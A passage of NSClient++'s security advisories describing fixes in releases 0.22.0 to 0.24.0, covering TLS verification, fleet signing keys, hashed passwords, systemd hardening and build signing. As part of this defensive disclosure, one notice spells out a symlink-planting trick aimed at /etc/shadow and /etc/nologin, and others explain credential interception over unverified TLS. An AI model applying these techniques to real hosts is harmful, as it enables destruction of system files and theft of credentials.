In practice the HTTP backend already refused to save (Cannot save settings over
HTTP), so no configuration is known to have left a host this way; the refusal
replaces a message that reads like a missing feature with one that says why, and
closes the direction rather than relying on a backend that does not implement it.
Reading a configuration in is deliberately still allowed, from a remote
store as much as a local one: nscp settings --migrate-from <url>, the MSI’s
configuration import, and a Control.LOAD naming one. Refusing that was
considered and rejected. It would take away a documented feature — the CLI import
is the command-line form of the installer’s — and it would not remove a
capability: Control.LOAD is behind settings.put, and a caller with
settings.put can already write [/modules] and [/settings/external scripts]
and reload, which is the code execution that naming a remote source would have
bought them. What does matter for a source is the transport, and that is enforced
where every remote read passes through it, in settings_http’s
cache_remote_file: anything but https is skipped unless boot.ini opts in
with [tls] allow plaintext, and the same [tls] section decides how the peer is
verified — notice 280.
The module-name rule above is shared with the REST routes for the same reason this
one is shared between the core and the Control handler: one predicate, so it
cannot drift between callers.
Redaction only covered modules that were loaded¶
is_sensitive_key was an exact lookup against what the loaded modules had
registered. A password left in nsclient.ini for a module that is disabled or
not installed on this host — an NRPE client target password, a WEB password with
WEBServer off, an NRDP token — was returned in clear by
GET /api/v2/settings to any settings.get role, and by nscp settings --list
without --load-all. The core now also matches on the key’s name
(password, passwd, passphrase, token, secret, api key, credential,
and a bare key on a target), so a credential is masked whether or not its
module is running. Separately, the NRDP key alias — one of three spellings of
the same token, and the only one not registered with add_password — is
registered as a password.
The Linux service ran without any hardening¶
The unit correctly ran as an unprivileged account and had nothing else: no
UMask, none of the kernel-protection directives. Given the agent executes
operator-defined and fleet-delivered scripts by design, that is a larger blast
radius than it needs. The unit now sets UMask=0027,
ProtectKernelTunables=yes, ProtectKernelModules=yes,
ProtectControlGroups=yes, RestrictSUIDSGID=yes, RestrictRealtime=yes,
LockPersonality=yes and Group=nsclient.
Group= is a fix in its own right, reported by @Fantu. The unit named only
User=, so the service ran under the account’s primary group — and the DEB
postinst creates the account with adduser --system, adding nsclient as a
supplementary group only, which leaves the primary group as nogroup on Debian
and Ubuntu. Together with UMask=0027 that made every file the service wrote at
runtime group-readable by nogroup, shared by many unprivileged daemons, and
/var/lib/nsclient is 0755 from the postinst’s mkdir -p, so nsclient.db and
the fleet/ tree — the enrollment key among them — were not protected by the
directory either.
UMask=0027 is what stops nsclient.db, fleet.ini, applied-state.json and
the unsealed contents of a bundle landing world-readable: all four are written
through a plain C++ ofstream, which asks for 0666 and leaves the rest to the
umask. The log file is not among them — the logger creates that with an explicit
0640 of its own.
A umask is inherited, so it also applies to every external script the agent spawns: a script that writes a file for another account to read now produces it without the group-write and world bits. That is the one directive here an operator may have to act on, and the upgrade note says so.
The kernel-protection directives are not entirely free of the mount-table
concern either, only clear of the part that matters. ProtectKernelTunables and
ProtectKernelModules do give the service read-only binds — over /proc/sys,
/sys and /usr/lib/modules — but every one of them is on a filesystem
check_drivesize and the disk-free collector skip by type, so no drive row or
metric changes. check_mount skips them as well when listing all mounts (it
excludes /proc, /sys, /dev and /run), so the only way to observe the
difference is to name one explicitly, as in check_mount mount=/sys options=rw,
which now reports ro.
ProtectSystem, ProtectHome and PrivateTmp are deliberately not set.
They are the three directives that give the service a mount namespace, and
systemd implements each as bind mounts that appear in the service’s own
/proc/mounts. For a monitoring agent the mount table is reported data, so
they do not merely restrict the process, they falsify its output:
check_drivesize enumerates /proc/mounts skipping only pseudo filesystems
and repeated mount points, so a ProtectSystem bind — the root filesystem’s
own type at a fresh mount point — becomes an extra drive reporting /’s usage
with writable = 0, and the disk-free collector applies the identical filter,
so the phantom rows reach perfdata and OpenMetrics. check_mount can no longer
distinguish a filesystem that genuinely went read-only, and check_disk_write
reports the very fault it exists to detect. Reporting the kernel’s real view is
worth more than sandboxing an already-unprivileged process into reporting a
different one; operators who want them can add them with a drop-in.
NoNewPrivileges is left off for a separate reason, documented in the unit: the
Unix script launcher tells operators to sandbox a script with
sudo -n -u <account>, which needs setuid.
CauseCrashes, whose crash_client command dereferences a null pointer on
purpose, is no longer built into packages — it is a diagnostic module behind
-DBUILD_TESTING_MODULES=ON. The DEB no longer depends on sudo, which the
agent itself never calls.
What to do: nothing on a default install. A [/modules] entry naming a path
rather than a module file name will now be refused with an error in the log; put
the module in the module path and name it. If you drive nscp settings
--migrate-to against an http:// or https:// context, migrate to a local store
instead — importing with --migrate-from is unaffected. If an external script writes files for another account
to read, check the modes UMask=0027 now gives them. If an external script
escalates with sudo, keep sudo installed — the package no longer pulls it
in.
Fleet: the signing key cannot rotate unendorsed, and the trust boundary is written down¶
Check your setup · Fixed in: 0.24.0 · Severity: Low
Two findings from a review of the fleet agent.
A renewal could replace the bundle signing key¶
Bundles are signed offline precisely so a compromised fleet server cannot forge
one. The renewal response carried a new bundle_signing_pub_pem and the agent
installed it, so the server could hand out a new verification key and sign
whatever it liked from then on — over a channel authenticated by the server
itself, which is the authority in question.
A rotation is now accepted only when the key being replaced endorses its
replacement: bundle_signing_pub_sig, a detached Ed25519 signature over the new
PEM made with the key this host already holds. A server that sends no
endorsement cannot rotate the key; the operator re-enrolls, which is a
deliberate act by whoever holds the offline key. The server’s own TLS
certificate is unchanged in this respect — it authenticates the channel, the
pin authenticated the channel the renewal arrived on, and refusing it would
break ordinary certificate rotation.
Refusing the key is not refusing the renewal. The rest of the response — the new client certificate, the CA and the server pin — is certificate material the host needs to keep talking to the fleet at all, it is signed by the fleet CA, and it arrived over the pinned channel. So the certificate is taken, the signing key stays as it was, and the refusal is logged as an error for the operator. Abandoning the whole renewal instead would be the more expensive failure: a host facing a server that got the rotation wrong would stop renewing altogether and fall off the fleet when its certificate expired — over a key it was keeping either way.
Two details of the check follow from the same reasoning. Keys are compared as keys, not as PEM text, so a server that re-serialises the key it already gave this host — different line wrapping, a trailing newline gained or lost — is not mistaken for a rotation and refused. And a host whose state carries no signing key does not get one from a renewal either: with nothing to endorse a new key with, whoever answered that renewal would be choosing what verifies every bundle from then on, which is the authority the offline key exists to keep away from the server. A key is adopted at enrollment; such a host re-enrolls. Nothing is loosened by the refusal: a host with no signing key already fails verification on every bundle it is offered, so it stays fail-closed rather than trusting a key the server chose.
What a fleet server can do to a host was not written down anywhere¶
fleet.ini is an ordinary INI include of the settings store, and the desired
state the server sends is rendered into it verbatim and unsigned. A
configuration file for this agent can enable script execution, define the
scripts, add includes pointing anywhere and rewrite the fleet settings
themselves: a fleet server can run code as SYSTEM or root on every host
enrolled with it. That is the same trust any configuration-management system
carries, and it is a legitimate design — but no page said so, while the
installer text implied executable content was separately authorised, and the
fleet guide’s claim that --require-encrypted-bundles means “nothing the server
sends is applied unless a key holder produced it” overstated what the flag
covers. The flag covers bundles; the desired state is not a bundle.
The fleet guide now has a section stating the boundary plainly, the encrypted bundles section says what the flag does and does not reach, and the installer documentation carries the same warning at the point where enrollment is configured.
What to do: nothing required on a working fleet. If your fleet server
rotates the bundle signing key at renewal, it must now send
bundle_signing_pub_sig alongside it; until it does, re-enroll the hosts
instead. Certificates keep renewing meanwhile, so watch the log for the refusal
rather than for renewal failures.
An uncaught exception on a worker thread could terminate the agent¶
Fixed in: 0.24.0 · Severity: Low
Hardening, not a reported vulnerability. No input or condition is known to
reach this, and the paths that matter most were already guarded: the listener
protocols wrap the part that runs a check in catch (...), the socket
connection state machine wraps its dispatch, and the collectors catch around
each fetch.
What was missing was the guarantee. NSClient++ wraps every module entry point
in a try/catch, but a background worker thread is not an entry point:
nothing sits between its body and the C++ runtime, so an exception that escaped
one called std::terminate() and ended the whole agent rather than one piece
of work. Whether one could escape depended on each thread body having
remembered to catch, and the coverage was uneven - the CheckSystem auxiliary
collector and the Gearman job runner had no top-level catch at all, several
sites caught std::exception but not everything, and code sitting between the
inner try blocks (buffer growth, settings parsing, string building) was
covered by neither. The socket server pool ran io_context::run() bare, so
anything that did escape a completion handler would have ended a pool worker;
on a bare thread that is the process.
Every background thread now starts through a guard
(threads::start_guarded_thread): what escapes is logged as
Thread '<name>': terminated by an uncaught exception: <details> and the
thread ends instead of the process. Modules log that line at critical and
the core at error, so alerting on the text rather than on the severity is
what covers every path. Event loops re-enter run(), so a request that throws
fails as a request and the queued work continues. Underneath all of it, a
terminate handler now writes a report naming the exception and the thread to
nsclient.fatal before the process goes down, so the paths nobody has thought
of yet stop being silent. On Windows that handler is installed per worker
thread, because MSVC keeps std::set_terminate state per thread and one
installed on the main thread would have left every worker - the network-facing
socket server pool included - terminating in silence.
What to do: nothing. If an agent has been disappearing without explanation,
check for a nsclient.fatal next to nsclient.log after upgrading - it will
now say what happened. If that folder cannot be written the report goes to a
private per-account folder under the system temp directory
(/tmp/nsclient++-<uid>/, %TEMP%\nsclient++\) created with owner-only
permissions, never to a fixed name directly in a world-writable directory;
the startup log says which file is in use.
Verified build dependencies and a signed SBOM for Windows releases¶
Fixed in: 0.24.0 · Severity: Low: build-chain integrity, no impact on a running agent
Every third-party dependency the release builds download is pinned in
.github/dependency-checksums.txt and checked before anything is built from
it: a SHA-256 for a downloaded archive or binary, and a commit for a
dependency cloned from git, since a tag can be moved and a commit cannot. The
builds ship these dependencies inside Authenticode-signed artifacts, and TLS
only proves who served a file, not what it contains, so the recorded value is
what decides whether the build goes ahead.
- Windows: OpenSSL, Boost, Lua, Protocol Buffers, Crypto++, miniz,
TinyXML-2, Mongoose, MariaDB Connector/C, GoogleTest and the bundled
check_nsclient.exe. - Linux: the
check_nsclientbinary shipped inside the.deband.rpmpackages. The other libraries come from the distribution, which verifies its own packages.
Where an upstream project publishes a checksum, the recorded value is that
checksum: OpenSSL’s .sha256 next to the tarball, and the SHA-256 values on
the Boost and Lua download pages. Each was also cross-checked against an
independent source: Boost against the digest conan-center-index records for
the same release, whose other archive format decompresses to the identical
tar, and Lua against the byte-identical Debian/Ubuntu source tarball, whose
.dsc records the same SHA-256. check_nsclient publishes a SHA256SUMS with
each release and attests every file from its own release workflow; the
recorded digests are the ones in that list, and the attestations were verified
before recording them.
How the build enforces it:
- A missing or unrecorded entry fails the build. Bumping a dependency version means adding its line to the manifest first.
- Cached builds are keyed on the recorded value. A cached dependency build is only reused for exactly the input it was verified against, and any change to that value forces a fresh, verified build.
- Boost is built by the project’s own action on every Windows platform, with the archive verified on every run and the MSVC toolset pinned to the one that links it (v141 for x86, x64 and XP).
The result is published with every Windows release: a CycloneDX software bill of materials lists every third-party component with its version, upstream URL and the digest or commit it was verified against, including check_nsclient’s own SBOM of the Rust crates it is built from, and the release workflow attests every asset and binds each SBOM to its zip and MSI. See Verifying the download.
What to do: nothing. This affects the release build only.
Windows releases: every shipped binary signed, and signing credentials only in the release build¶
Fixed in: 0.24.0 · Severity: Low (build integrity)
Up to 0.23.0 the Windows release signed the MSI and the executables but not the DLLs it installs: the modules, the NSClient++ libraries, and the bundled Boost, OpenSSL, protobuf, Lua and MariaDB libraries. An unsigned library cannot be told apart from a replaced one by its signature, cannot be covered by an application-control publisher rule, and draws more attention from endpoint protection than a signed one.
The signing credentials also reached more jobs than needed. They were handed
to the Windows build of every pull request from a branch of this repository
and of every merge to main, although only merges used them, and those jobs
build the code under review.
This release:
- signs every executable, DLL and Python extension the MSI installs, and the custom-action DLL embedded in the MSI that runs during installation. The list comes from the installer’s own sources, so a new module is signed without a change to the build, and the unit-test executables built alongside are not. A third-party file that is already validly signed keeps its publisher’s signature;
- builds and signs only the release. The release pull request, the one that files the upgrade notes under the new version, starts the signed build and the draft release. Pull requests and ordinary merges build unsigned, and their jobs are no longer given the signing credentials;
- pins the draft release to the commit that was built, so publishing it tags
that commit rather than whatever
mainholds at the time.
What to do: nothing. To check a file, use Get-AuthenticodeSignature as
described in Installing.
The shared default password is stored hashed¶
Check your setup · Fixed in: 0.24.0 · Severity: Low
The per-user web passwords under /settings/WEB/server/users/<name> are
stored as salted PBKDF2-SHA256 hashes, but the shared password under
/settings/default — the value nscp web install generates, the Windows
installer writes, and the web admin seed and the check_nt server read — stayed
in clear text in nsclient.ini. Anyone who could read the file (the service account
and administrators on a current install; every local user on older layouts,
see Securing NSClient++) held the
admin password itself, not a hash of it, and could reuse it against the web
UI, check_nt, and anywhere else the operator had reused it.
nscp web install and nscp web password --set now store the shared value in
the same pbkdf2-sha256$<iterations>$<salt>$<hash> form as the per-user rows,
and the two readers that only compare a password verify through the same
helper, so either form is accepted:
- the WEB server, which seeds the
adminrow from the shared value on first boot (a hashed value is copied as it is; a clear-text one is hashed); NSClientServer, which compares the password a check_nt client sends against the stored value in constant time in both cases. check_nt has no session to amortise a key derivation over, so the server derives once: the first request that proves itself against the hash leaves the clear text in memory, and every request after it — right password or wrong — is answered by a constant-time compare. Without that, a host insideallowed hostscould spend tens of milliseconds of agent CPU per packet on a listener that has no rate limiter.
The hash string itself is not a credential: it does not authenticate against either.
NSCAServer used to read the same section, and it is the one reader that
cannot: NSCA never verifies a password. The string is the key material the
payload is encrypted with, and every submitting client has to know it, so a
hash there is a key nobody has. To be clear about which half of NSCA that is:
NSCAClient, the submitting side and the way NSCA is used in almost every
installation, is unaffected — its key has always been on the client target and
was never read from the shared section. NSCAServer is the rarely used
listener that lets the agent receive NSCA submissions, and only it inherited
the shared password. Sharing one value between “what I verify inbound callers
with” and “the key I share with a remote server” was the mistake, and hashing
only made it visible. NSCAServer no longer inherits
/settings/default/password, and inherits no substitute. Its key comes from
its own section and nowhere else — in particular not from NSCAClient, whose
target key is what this agent submits to a remote daemon with. That is a
secret shared with a different peer, and borrowing it would silently turn a
client target into a credential for accepting inbound submissions. One peer,
one key, set on purpose.
With encryption enabled and no key of its own, the server now refuses to start rather than come up looking configured. The key is derived from the password string, so an empty password is a well-known key: a listener that started anyway would decrypt and accept forged submissions from anyone who can reach the port. There is nothing safe to fall back on — only the operator knows what the submitting hosts use — so the module logs what is missing and does not listen. It likewise still refuses a value that is a stored hash, which is now reachable only by pasting one in.
That leaves the shared section holding only what it is for: passwords inbound
protocols verify a caller against. nscp nsca install --host <server>
--password <key> --encryption <cipher> configures the submission side in one
command, nscp nsca install --server --password <key> the listening side — two
invocations for two keys, and neither writes the other’s section — and the
Windows installer takes the submission values as NSCA_SERVER,
NSCA_PASSWORD and NSCA_ENCRYPTION (the key hidden, as a live credential
should be).
Nothing rewrites an existing clear-text value on its own either: nscp web
install re-run without --password leaves the shared value exactly as it
found it (it still hashes the admin row, which is its own), so migrating it
is an explicit nscp web password --set.
The Windows installer hashes a password that came from outside it: given on the
command line (NSCLIENT_PWD) or typed into the configuration dialog. It is kept
out of the MSI log: the installer’s own writers log the settings key they wrote
and not its value, and NSCLIENT_PWD and the three properties derived from it
are declared hidden, so Windows Installer does not record their values either.
Two values are deliberately left in clear text. One is a
value it merely found on disk — which is what pre-fills the dialog on an
upgrade — so an upgrade migrates nothing on its own. The other is the password
the installer generates when none was given: a silent install has no dialog to
show it on and it is written nowhere else, so hashing it would leave an agent
nobody can log into and no clear text to recover. Rotate it with nscp web
password --set <password>, which stores it hashed.
One limit is worth knowing: a hash protects only this password.
nsclient.ini still holds the client-side passwords, tokens and keys the agent
needs in clear form — it has to use those, not verify them — so the file
permissions remain the boundary around it.
What to do: if the agent runs NSCAServer (the listener — not the common
NSCAClient, which is unaffected) and that listener relied on the shared
default for its key, set the key under [/settings/NSCA/server] before
upgrading, or the module refuses to start and logs that no password is set.
Otherwise nothing is required. To hash a password already on disk, re-set it
with nscp web password --set <password> (the same value is fine). See the
upgrade note.
RADIUS probe: authenticated replies and file-based credentials¶
Fixed in: 0.24.0 · Severity: Informational
The new experimental check_radius command validates the response identifier,
Response Authenticator, and Message-Authenticator before exposing a reply as
valid. It sends a fresh random request authenticator and Message-Authenticator,
and accepts responses only from the selected UDP endpoint. Servers that omit
Message-Authenticator do not pass the check, including older implementations
where the attribute was optional.
Shared secrets and test passwords are supplied through files rather than command arguments. The check does not expose them in results. PAP password hiding does not provide transport encryption, and the probe does not implement RadSec or EAP.
This is an additive command, not a fix for an existing NSClient++ vulnerability. What to do: no upgrade action is required. When configuring the probe, protect the credential files, use a limited test identity on a protected network, and verify that the server returns Message-Authenticator.
Listener verify mode: unknown flags are rejected instead of dropped¶
Action required · Fixed in: 0.23.0 · Severity: High for listeners configured for mutual TLS, none otherwise
The verify mode parser used by every listener accepted five spellings and
silently ignored everything else. fail-if-no-peer-cert was not one of the
five — but it is the spelling the permissions guide, the client identity
source help text and OpenSSL itself use, and it is what the NRPE scenario
walkthrough and the reference docs told operators to write.
So verify mode = peer,fail-if-no-peer-cert resolved to bare verify_peer.
The listener asked the client for a certificate and completed the handshake
when none arrived. An operator who had configured mutual TLS, and whose
configuration looked exactly like the documentation, was running an NRPE
listener authenticated by the allowed hosts IP list alone. Any typo in the
setting degraded the same way, always in the direction of accepting more.
Two changes:
- The listener parser now accepts the same vocabulary as the outbound client
parser —
peerorcertificate,fail-if-no-certorfail-if-no-peer-certorclient-certificate, pluspeer-cert,client-once,none, and the two context optionsworkaroundsandsingle— and whitespace around a token is ignored. - Any other token is rejected. The listener logs the offending token and does not start, rather than starting with whatever bits survived the typo.
client identity source = cn on NRPEServer already refused to start without
both peer and fail-if-no-peer-cert in the parsed mask, so a CN-based policy
was never driven by an unverified certificate. Listeners not using that mode
had no such guard.
What to do: check the verify mode of every listener you have configured
for mutual TLS before upgrading. If it contained a token this release does not
recognise, the listener will refuse to start and name the token in the log —
which is the point, but it is a restart away. If you believed a listener was
requiring client certificates, verify it now: a client with no certificate
should be rejected.
NSCP and check_mk clients sent credentials over unverified TLS¶
Check your setup · Fixed in: 0.23.0 · Severity: Medium for NSCPClient and check_nsclient_web_online, Low for CheckMKClient
Three outbound TLS paths negotiated an encrypted session and then accepted whatever certificate the peer presented:
NSCPClient— the agent-to-agent relay. TLS is on by default (the target is another agent’s REST API on port 8443), butverify modedefaulted tononeand no trust anchors were loaded. The target carries the remote agent’s API password, so an on-path attacker answering for the target’s address received that password and could return any check result it liked.check_nsclient_web_online(CheckNet) — the same exchange as a single check, withverifydefaulting tonone. It sends the remote agent’s password in apasswordorAuthorizationheader.CheckMKClient— readverify modewith no default at all. An empty verify mode parses toverify_none, so a target that turned TLS on encrypted the agent section without authenticating the agent it came from. No credential is sent on this path, and TLS is off by default, which is why it rates lower.
In each case the connection was encrypted, so the exposure required an attacker on the path (or able to answer for the configured address) rather than a passive observer — but nothing in the handshake distinguished that attacker from the real agent.
All three now default to verify mode = peer with ca defaulting to the
agent’s configured bundle (${ca-path}), the same default the NRDP, Icinga,
Graphite, Elastic and Op5 clients already carried. An explicit verify mode =
none is still honoured, so an operator who has decided to accept an
unauthenticated link keeps that choice — it just has to be made.
What to do: because an NSClient++ agent generates a self-signed
certificate on first start, a relay or REST check pointed at a default agent
now fails the handshake. Point ca at that certificate and set verify mode =
peer-cert, point ca at your own CA and keep verify mode = peer, or set
verify mode = none to restore the previous behaviour. See the
upgrade note.
The op5 installer profile no longer forces insecure NRPE¶
Check your setup · Fixed in: 0.23.0 · Severity: Medium for hosts installed with the op5 profile
Choosing op5 on the MSI’s monitoring-tool page did four things nobody was
shown. The installer forced the NRPE mode to LEGACY, the configuration page
hid and disabled the NRPE mode radio group so the choice could not be seen or
changed, and the profile’s op5.ini pinned verify mode = none and
insecure = true on top — overriding the mode even where the property had been
set. It also enabled allow arguments and allow nasty characters for the
NRPE server.
The result was an NRPE listener on anonymous Diffie-Hellman with no peer
verification, authenticated by the allowed hosts IP list alone, accepting
caller-supplied arguments with the shell metacharacter guard turned off. That
is the combination the project’s own documentation warns against, arrived at by
picking a vendor name on an installer page.
In this release:
- The op5 profile defaults to the same
SECURENRPE mode the generic profile uses:insecure = falseandverify mode = peer-cert, so a caller has to present a certificate that chains to the configured CA. - The NRPE checkbox and the NRPE mode radio group are shown and enabled for op5
installs, so
LEGACYis a visible decision rather than a hidden default. op5.inino longer pinsverify modeorinsecureat all — the mode chosen on the page is what applies — and no longer setsallow nasty characters = true.
allow arguments = true stays in the profile, because op5’s server-side check
commands pass arguments to the built-in checks and removing it would break
monitoring rather than harden it. What changes is who may pass them: with the
secure mode as the default, the caller has to hold a certificate first.
What to do: this affects new installs and upgrades that re-run the
configuration page. An op5 host monitored by a check_nrpe that cannot present
a client certificate must either be given one (point ca at your monitoring
CA) or be installed with Insecure mode picked explicitly on the
configuration page. Existing installations keep the configuration already
written to the registry until it is changed. If you relied on
allow nasty characters for an op5 check, set it yourself in nsclient.ini
and understand what it disables.
Fleet: plaintext management urls refused, and enrollment no longer follows planted symlinks¶
Check your setup · Fixed in: 0.23.0 · Severity: Medium
Two findings in the enrollment and fleet-sync path, both of which matter on a
packaged Linux install, where nscp enroll is documented to run under sudo
while the service runs as an unprivileged account.
A management url that is not https¶
The enrollment response names mtls_url, the base for every later call: the
desired-state poll, the bundle download, the certificate renewal. That channel
delivers configuration and signed bundles, which is remote code execution by
design, and it is supposed to be protected by the agent’s client certificate
and by the server certificate pinned at enrollment.
Neither of those does anything on a plain socket. The fail-closed guard that
refuses mTLS without server authentication only existed on the TLS path, so a
response carrying http://… — or a url with no scheme at all, which the http
client also opens on a plain socket — built a plain TCP client, ignored the
certificate and the pin, and ran the whole management channel unauthenticated,
with nothing in the log to say so.
Now: enrollment refuses a mtls_url that is not https://, the sync loop
refuses to start on a stored one, and the http client refuses outright to
attach a client certificate or a pinned CA to a non-TLS transport. Where
plaintext is genuinely wanted, nscp enroll --insecure records the decision in
the manifest — the same flag that already allows a plaintext enrollment url —
and [tls] allow plaintext = true in boot.ini allows it for a manifest that
predates the field. Either way the sync logs INSECURE on every start, naming
what is no longer being checked.
Enrollment writes followed symlinks¶
adopt_owner was written carefully — O_NOFOLLOW, openat at every level —
because the directory it walks belongs to the untrusted service account. The
two writes that happen before it were not. The enrollment manifest was written
by creating agent-state.json.tmp with a plain open(O_CREAT|O_TRUNC), and
the fleet.ini placeholder with a plain ofstream, both in a directory that
account owns.
A compromised service account could pre-create either name as a symlink to any
file on the system; the next sudo nscp enroll would then truncate the target
as root. fleet/fleet.ini -> /etc/nologin is the cheap version,
agent-state.json.tmp -> /etc/shadow the expensive one.
Both writes now open the containing directory O_NOFOLLOW|O_DIRECTORY and
create the file through that descriptor with O_CREAT|O_EXCL|O_NOFOLLOW. A
stale temporary from a crashed run is unlinked first, which removes a planted
link without touching whatever it points at; losing the race between the unlink
and the create costs a failed enrollment, not a followed link. Replacing an
existing manifest still works, because the rename replaces the name rather than
writing through the inode behind it. Windows is unaffected: the installer and
the service both run as SYSTEM.
What to do: nothing on a host enrolled against an https:// fleet server.
If a host was enrolled against a plaintext url, it stops syncing after the
upgrade and says so in the log; re-enroll against https, or re-enroll with
--insecure if that is really what you want.
Web session tokens are only held as hashes¶
Fixed in: 0.23.0 · Severity: Low
A crash dump, a core file or an attached debugger used to reveal the web session token of every logged-in user, sitting in the agent’s session table ready to be replayed against the REST API. The table now holds only a SHA-256 of each token, so a dump shows that a session exists and whose it is, but not a token anyone can reuse.
One limit worth knowing: a request being served still carries its own token in memory for as long as it is being handled, so a dump captured under load can still expose the sessions of the requests in flight at that instant. What it no longer exposes is every session that is currently open.
A build made without OpenSSL has no hash function and keeps the previous behaviour.
What to do: nothing. Sessions still expire eight hours after login, and the web UI’s log out still revokes one immediately.
Web sessions survive a restart of the agent¶
Fixed in: 0.23.0 · Severity: Low
Restarting the agent used to log every web UI and REST user out. Sessions now
survive it: what /api/v2/login hands out is kept in
${data-path}/nsclient.db and read back at the next start. This is the first
time a session leaves the agent’s memory, so it is worth knowing what is in
that file and what still ends a session.
Only the SHA-256 of each session key is stored, never a key anyone can use (see
Web session tokens are only held as hashes).
Someone who copies nsclient.db learns that a session exists and whose it is,
and nothing more. Only /api/v2/login creates a session, so nothing is kept
that a client was not given.
When a stored session is not brought back¶
Each session is tied to the credentials it was issued against, and it is not restored when:
- it was logged out — the web UI’s log out button, or
DELETE /api/v2/login; - it is older than eight hours;
- the user’s password or role has changed since it was issued;
- the user no longer exists.
Logging out is written to disk as it happens, so a session that was logged out stays gone even if the agent is killed rather than stopped cleanly.
A password or role change takes effect when the agent next starts, and that is when the sessions issued against the old password end. The running service keeps the users it read at startup, so until you restart it the new password does not work and the old sessions do not end — reapplying settings from the UI is not enough.
What to do: nothing. To end a session, use the log out button or
DELETE /api/v2/login. If you relied on a restart to end every session, set
persist sessions = false under [/settings/WEB/server] — see the
upgrade note.
Build dependencies: digests recorded, and tag archives replaced by commit-pinned clones¶
Fixed in: 0.23.0 · Severity: Low: build-chain integrity, no impact on a running agent
The checksum gate added in the previous release
(notice) was in place but
empty: every dependency line in .github/dependency-checksums.txt read
unrecorded, so each download warned and continued rather than verifying
anything. Everything on that list ends up inside artifacts this project
Authenticode-signs, so a compromised or re-uploaded upstream asset would have
been signed and shipped.
The digests are now recorded for the release assets the build downloads:
OpenSSL (cross-checked against the .sha256 OpenSSL publishes next to the
asset), protobuf, Crypto++, miniz, and the prebuilt check_nsclient.exe for
both architectures the Windows workflow builds.
Three dependencies were fetched as the zip or tarball GitHub generates for a tag — TinyXML2, Mongoose and MariaDB Connector/C. That archive is not a release artifact anyone signs, and the tag it is generated from can be moved. They are now cloned at the tag and verified against the recorded commit, which is what googletest already did: a tag is a movable pointer, a commit is not.
Lua remains unrecorded. Its digest has to be taken on a machine that can reach
www.lua.org and cross-checked against the checksums Lua publishes on the same
page; recording it from an unverified fetch would only write down what the
build was served, which is the thing this file exists not to trust.
The actions/cache uses in the dependency actions and the Linux workflows are
now pinned to commit ids rather than floating tags, matching the third-party
actions pinned in the previous release.
What to do: nothing. This affects the release build only. Note that bumping
a dependency version now requires adding its line to
.github/dependency-checksums.txt first — a missing line fails the build, on
purpose.
Settings sources, includes and attachments are refused over plain http¶
Check your setup · Fixed in: 0.22.0 · Severity: High for agents configured from an http:// settings server, none otherwise
A remote settings store is not one setting among many: it is the agent’s
entire configuration. It carries [/modules], it carries
[/settings/external scripts] — which is arbitrary command execution as
SYSTEM or root by design — and it carries the credentials the submit clients
use. It is read at boot and re-read on every housekeeping pass.
Fetched over https:// with the default verify mode = peer, the agent knows
who served it. Fetched over plain http://, nothing authenticates the server
at all: anyone on the network path, and anyone who can answer for the host name
through DHCP or DNS, decides what every agent pointed at that url runs. One
answered query is enough, and nothing appeared in the log.
The https-with-verification-disabled case has warned loudly since 0.14
(see Using TLS), but
plain http went through the same fetch silently, on all three paths that reach
it: the [settings] url in boot.ini, an [/includes] entry inside a fetched
configuration, and an [/attachments] source.
All three now refuse a url that is not https:// and log why. A url with no
scheme at all counts as plaintext too — it is opened on a plain socket just the
same, and an attachment source is not validated anywhere before it is fetched.
An agent that already has a cached copy of its configuration keeps running on
it rather than booting empty, so a refusal is loud but not an outage.
Where plain http is genuinely what you want — a lab, an isolated network —
boot.ini opts in:
[tls]
allow plaintext = true
Every plaintext fetch is then logged as INSECURE, on every pass.
What to do: if any agent reads its configuration, an include or an
attachment over http://, move the settings server to https (the default
verify mode = peer verifies against the platform CA bundle) or set
allow plaintext = true in that agent’s boot.ini. Agents with a local
configuration, or an https:// settings server, are unaffected.
External scripts: run-as settings were silently ignored on Linux¶
Check your setup · Fixed in: 0.22.0 · Severity: Medium for Linux setups that set user on a script, none otherwise
A script section under [/settings/external scripts/scripts/<alias>] accepts
user, domain and password to run the command as another account. The
keys are registered on every platform, but only the Windows launcher
(LogonUser + CreateProcessAsUser) implemented them. The Linux launcher
never read them and logged nothing, so an operator who sandboxed an untrusted
or argument-taking script with user = nobody got it executed as the service
identity - nsclient on the packaged install, root on a manual
nscp service run - with a plaintext password in the ini for nothing.
Linux already has a well-understood mechanism for running a command as
another user, so rather than re-implementing account switching in the agent
the launcher now refuses: a script with any of the three keys set returns
UNKNOWN with a message pointing at sudo, the error is logged, and the
script is not started. Run the command through sudo -u <user> (with a
matching sudoers rule, NOPASSWD and -n so the check can never block on
a password prompt) and drop the keys. The settings descriptions say the keys
are Windows-only. Windows behaviour is unchanged.
What to do: on Linux, grep nsclient.ini for user =, domain = and
password = under the external-script sections. For each hit, move the
identity change into command = sudo -n -u <user> ..., add the sudoers rule,
and delete the keys; until you do, that check reports UNKNOWN. Nothing to do
on Windows or if you never set them.
External scripts inherited every inheritable handle of the service¶
Fixed in: 0.22.0 · Severity: Medium
The script launcher created both stdio pipes with every end inheritable and
started the child with full handle inheritance, so a script received every
inheritable handle the service held at that moment. Checks run concurrently:
a script spawned while another was running inherited that other script’s
stdout pipe — both ends — and could read its output or write a forged result
into it. Any other inheritable handle in the service crossed the same way.
A script run as a lower-privileged account through user = was exactly the
case this defeated: the sandbox that setting is meant to provide leaked the
service’s handles into it. The Unix launcher had the smaller version of the
same gap: the pipe descriptors were not close-on-exec, so a script forked at
the wrong moment carried another script’s write end, and every other
descriptor the service held (listener sockets, the log file) was the child’s
to use.
On Windows only the two ends the child uses are now inheritable, the child is
started with a PROC_THREAD_ATTRIBUTE_HANDLE_LIST naming exactly those two
handles, and on an OS without that API (the XP build) spawns are serialised so
that no two scripts’ pipe ends are ever inheritable at the same time. On Unix
the pipe is created close-on-exec and the child closes every descriptor above
stderr before it runs the script.
What to do: nothing. A script that relied on an inherited handle it was never meant to have (there is no supported way to obtain one) stops seeing it.
Second undefined-behaviour sweep: crashes in the script hosts and the Windows collectors¶
Check your setup · Fixed in: 0.22.0 · Severity: Medium
The C++ tree was read again after the audit that shipped in 0.20.0, and the crashes it still held were fixed. None is reachable by an unauthenticated peer; each needs either a script the operator installed or a configuration value they set.
- A Lua script’s error text was used as the format string for the error it
raised, so a
%in anything the script passed in - a channel or command name quoted back at it - read a wild pointer and took the agent down. - A non-numeric argument where a Lua binding expected a number threw a C++
exception through Lua’s C frames, which is undefined and terminates the
process on Windows.
Settings():get_int(path, key, "n/a")was enough. - A Python script returning a string Python itself cannot encode as UTF-8 - a lone surrogate, which is how Python hands back a file name that is not valid UTF-8 - crashed the agent as its result was converted.
